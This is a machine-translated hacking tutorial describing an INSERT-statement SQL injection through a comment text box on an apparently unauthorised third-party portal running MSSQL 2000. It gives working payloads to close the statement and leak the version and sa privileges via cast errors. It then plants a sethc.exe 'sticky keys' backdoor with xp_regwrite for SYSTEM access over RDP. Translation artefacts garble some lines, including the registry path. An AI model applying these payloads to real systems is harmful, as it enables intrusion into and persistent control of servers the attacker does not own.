Insert injection in one text box

Author: Mo Liang [B. H.S. T]

Many people often test injection. Most of them only read the link submitted by get. data submitted by post method may be too lazy to capture packets for testing as I do, and some diligent buddies may also try cookie injection. Today, I met a text box insert injection submitted by post and mentioned it with a friend. He also knows little about it, so I found that the injection tests on text boxes are usually poor, here I will briefly talk about this insert injection.
The target station is an information port with a lot of sub-stations. I found no injection point on the semi-master station and registered an account to find an upload. Unfortunately, the upload page reports an inexplicable error. I looked at the sub-station and found that cms, which is the same as the main station, scanned the directory with wwwscan, scanned the ports, and found that 3389, 80, and 1433 were opened, and spider crawled, no available sites are found on the server. Is your thinking deadlocked? Section c? At this moment, I submitted a comment, '); -- 1.

Good. An error is returned. 2
 

This should be an insert injection point. First, let's look at the insert statement syntax.

The insert into statement is used to INSERT new rows INTO the table. You can also specify the columns to INSERT data. Syntax:
Insert into Table Name (column 1, column 2,...) VALUES (value 1, value 2 ,....)

So we continue to enter the closed statement test in the text box. When submitted

1, null, null );--

The submission is successful. Let's submit the injection statement.

1, cast (@ version as int), null, null );--

3. Return Information
 

Microsoft SQL Server 2000-8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: service Pack 2 ).
Submit again

1, cast (system_user as int), null );--

Return 4. The access permission is sa,
 

Submit

1, cast (@ servername + | + host_name () as int), null, null );--

A syntax error is returned when the nvarchar value YOZI | YOZI is converted to a column whose data type is int. The site library is not separated. 5
 

This information is almost collected.

Since the sa permission is large enough, here is a method of sa permission image hijacking, with the xp_regwrite extension storage of mssql, we submit the following

1, null, null); exec master .. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftWindows NTCu
RrentVersionImage File Execution Optionssethc.exe, debugger, REG_sz, c: windowssystem32c
Md.exe on ;--

After submission, the returned result is normal. We connect to server 3389 and press shift, 6 under 5.